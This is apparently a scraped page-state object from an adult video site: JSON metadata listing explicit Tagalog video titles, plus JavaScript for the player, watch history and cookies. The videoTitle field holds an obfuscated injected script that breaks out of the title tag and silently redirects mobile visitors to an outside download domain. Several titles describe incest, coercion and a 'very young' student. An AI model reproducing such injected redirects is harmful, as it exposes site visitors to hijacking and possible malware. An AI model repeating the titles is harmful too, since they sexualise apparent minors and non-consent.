热门精颀678","site_id":0,"video_url":"https://v.example.com/v.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvZGVmYXVsdC5qcGc=.cache","duration":"12:34","actor":[],"lastmod":1783767068,"rating":"4.5","view_count":9999,"description":"热门精颀678","tag":["Sikat","Napili","magrekomenda","Tsina","Selfie"],"site_url":"0","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产自拍"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvZGVmYXVsdC5qcGc=.cache","maker":"","table_name":"videos_aosikazy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"热门精选视频1783767068","s_keywords":"热门精选视频1783767068","s_description":"热门精颀678","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTVkODA0NjAxMjM3NjNiNmVkZTBkOTk4NzNkMzBhNDguanBn.cache","vod_id":19066568,"title":"#Itinatampok #PrivateShot Magkapatid na nagpapalitan ng pakikipagtalik (1)","lastmod":"2025-03-20","duration":"00:00:45","url":"/play/19066568.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGUxZDQ1OWUwMThkNzAxMWRhYTk0M2YzOGMwZjc1OGUuanBn.cache","vod_id":19077118,"title":"#Selfie Tuwang-tuwa ako sa damuhan","lastmod":"2025-03-31","duration":"02:18","url":"/play/19077118.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzBlMzMyNmUwNjZiNzE4MjU0ZjBmNGJhNDM5MjA4NDguanBn.cache","vod_id":18971848,"title":"Mga Piling Selfie: Malaking Busog, Masiglang Babae (30)","lastmod":"2025-03-19","duration":"01:02","url":"/play/18971848.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDEzNzBiY2UwYjM2YzZjNGZiMDEzM2M1MTYxMmM0ODMuanBn.cache","vod_id":18935499,"title":"[Mga Piling Selfie mula sa Tsina] Masyadong Baliw ang mga Kabataan: Live Streaming ng Pakikipagtalik at Pagbibigay ng mga Direksyon","lastmod":"2025-03-19","duration":"29:00","url":"/play/18935499.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMDY4NDYzMmNiOGExOGFjMGJjNzBhOGQxZTY0NzhjYmMuanBn.cache","vod_id":18989085,"title":"Chinese AV model Mr. Rabbit Couple Sex Challenge EP1 Rei Ayanami","lastmod":"2025-03-19","duration":"42:08","url":"/play/18989085.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjE2MzQ1MjE2YjE0OTNhOWEwNTU5ZjdhMmIwNDc1MTcuanBn.cache","vod_id":18991845,"title":"[Mga Piling Selfie] Isang magandang babaeng may mahabang buhok na may mataas na rating ang nagsasagawa ng oral sex at naninigarilyo; madamdaming pakikipagtalik sa isang payat na katalik sa isang hotel; _225104903","lastmod":"2025-03-19","duration":"46:43","url":"/play/18991845.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMDEvZGNjNmYyOGFlZWIyMThlZWE3YTgzZjMyMTYwZjFmYjUuanBn.cache","vod_id":19103329,"title":"Selfie habang naka-car sex. Nasisiyahan ako sa oral sex ng aking asawa na sinundan ng pag-vibrate sa loob ng kotse. Pagkatapos, naglagay ako ng anal plug at vibrator, pagkatapos ay gumamit ng remote control para malayuang kontrolin ang aking asawa, pinapanood siyang nanginginig habang namimili kami nang magkasama at nagkakaroon ng malinaw na pag-uusap.","lastmod":"2025-10-31","duration":"13:51","url":"/play/19103329.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTRhMDBlZTZiYjlmNGE1MGM3YmRhNGYzODk1NWJlYWMuanBn.cache","vod_id":18970424,"title":"Mga Piling Selfie: Hindi napigilan ng inosenteng kasintahan ang patuloy na pag-ulos.","lastmod":"2025-03-19","duration":"00:00:25","url":"/play/18970424.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTBhNTllMWIzZTJkZWExMDNmMTg1MmUzYWJjMzg0YjcuanBn.cache","vod_id":18990458,"title":"[Selfie] Pagdodokumento ng isang araw ng kahalayan sa bahay kasama ang aking malaswang asawa.","lastmod":"2025-03-19","duration":"01:17:46","url":"/play/18990458.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmQ0ZDYyNDc4ZDUyZjgxNDA3MjViY2EzMjJkN2ZmNzIuanBn.cache","vod_id":18925119,"title":"Ang mga bagong lumabas na larawan ay nagpapakita ng isang babaeng estudyante sa kolehiyo na may balingkinitan na baywang, magandang hubog ng puwitan, at malalaking suso na nakikipagtalik sa isang mayamang tagapagmana sa ikalawang henerasyon.","lastmod":"2025-03-19","duration":"33:50","url":"/play/18925119.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjNmZDAxYjlmOTFlYTc1MGVlMTE1OTM0OGExNWI2ZDguanBn.cache","vod_id":18986657,"title":"Isang piling seleksyon ng mga selfie na nagtatampok ng mga pinakakaakit-akit at malibog na maliliit na lobo.","lastmod":"2025-03-19","duration":"02:07","url":"/play/18986657.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvMTE2OWRhNjE4MTA3NmQ2MjI1ZGYyMDE2NzRjNzliZDEuanBn.cache","vod_id":19107882,"title":"#Itinatampok #Doggyback Entry De-kalidad na Medyas na may Doggyback Entry na may Baliw na Pagtulak","lastmod":"2025-12-13","duration":"00:00:17","url":"/play/19107882.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNmM2ZWNlOTk4NjZjODcxMDEwMmQ5NGRiNTU4MjZmNzIuanBn.cache","vod_id":19120623,"title":"Nag-selfie ang magkasintahan habang nagtatalik sa bahay, pero tumanggi sila, at pagkatapos ay nagpatuloy ang erotikong kalaswaan.","lastmod":"2026-05-14","duration":"21:31","url":"/play/19120623.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTZlNGY1NGYxNmY3MmI1ZWU5NGQ3YjA4NDliMjJlNDEuanBn.cache","vod_id":18972518,"title":"Mga Piling Selfie: Ang Hindi Kapani-paniwalang Seksing Ate 111.","lastmod":"2025-03-19","duration":"02:20","url":"/play/18972518.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzEwNjUzNWE2ZDc0NDhmNmU0MjE5OWI0MGFjNTdmYzkuanBn.cache","vod_id":18931584,"title":"Orihinal na selfie ng kasintahang naka-medyas, fetish sa paa, at mukha na isiniwalat","lastmod":"2025-03-19","duration":"04:56","url":"/play/18931584.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWIyMDMyMjEwMmI1MGMwMGU4ODZkMzI2ZTk4Yzc4ZDkuanBn.cache","vod_id":18972841,"title":"Nagse-selfie at naglalaro ng mga laruan kapag wala akong magawa.","lastmod":"2025-03-19","duration":"01:11","url":"/play/18972841.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZWI3NGRmYTA3MWE5MTZlNmViYWI2NWY5OWZiMmM5NDIuanBn.cache","vod_id":19117237,"title":"#Itinatampok #OralSex Napakabata pa ng babaeng estudyante, kahanga-hanga ang kanyang kakayahan sa pagsasalita 2 (1)","lastmod":"2026-03-03","duration":"02:20","url":"/play/19117237.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjQ2YjcwMDFiMGEyNjFmMjY3NDRjNGM5NDk2NjI2ZjQuanBn.cache","vod_id":18963906,"title":"[Pinili mula sa Japan at South Korea] Ang malaswang dalagang ito ay talagang hindi mapaglabanan, lahat ay gustong makipagtalik sa kanya, ibinulalas pa niya.","lastmod":"2025-03-19","duration":"17:37","url":"/play/18963906.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjkwMTFkYzQxM2NjZGFlMGRjYTdmMDMwMWU0NGNhMTguanBn.cache","vod_id":18978412,"title":"[Selfie] Isang babaeng may tattoo na anchor na pinilit ng kanyang kasintahan na maghubad at makipagtalik agad para makita ng mga netizens, ang kanyang kulay rosas at maamo na maliit na puting tigre ay nakapasok sa orgasm.","lastmod":"2025-03-19","duration":"24:51","url":"/play/18978412.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjk4YzViMmQ3MjI4MDMwNjY4Yjg0YmNhNThhNTM4ZWMuanBn.cache","vod_id":18987364,"title":"Selfie na may Kontras (1).","lastmod":"2025-03-19","duration":"00:00:36","url":"/play/18987364.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjA0MTMxY2MyODY3NjRkNjRjYjhhYzBkYjM0NDdjZTEuanBn.cache","vod_id":18947263,"title":"[Online] Ipinakita ng isang babaeng may katangiang artista ang kanyang talento at pangangatawan sa pamamagitan ng pagkuha ng mga selfie sa bahay.","lastmod":"2025-03-19","duration":"03:01","url":"/play/18947263.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2UyZjQ2ZWMyZjA3MmRkNjc5NjZjMGQ5ZmM5MWI0OTguanBn.cache","vod_id":18927649,"title":"Ang pinakasikat na palabas sa masturbesyon ng Hapon at si Atsume Misaki","lastmod":"2025-03-19","duration":"13:55","url":"/play/18927649.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWJjYjc1YTlmODAwODdmY2EyNWM5MTMwOTU4MzE2ZmIuanBn.cache","vod_id":19046599,"title":"10musume-013023_01-FHD-Lihim na Pagpili ng Puwerta - Tingnan ang bulkan ni Mai - Mai Hazuki","lastmod":"2025-03-19","duration":"16:18","url":"/play/19046599.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTA1NjUzNDZkZWEzOWRhMDZlZGJlM2YxNTM3ZDVlNDguanBn.cache","vod_id":18951201,"title":"[Tsino] S1 Seleksyon ng mga Babae: Matinding Pakikipagtalik sa mga Batang Asawa","lastmod":"2025-03-19","duration":"02:49:41","url":"/play/18951201.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,101); d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.hre f=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>热门精颀678',
language: 'fil',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Nakopya na ang link!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Nakopya na ang link!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Nakopya na ang link!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}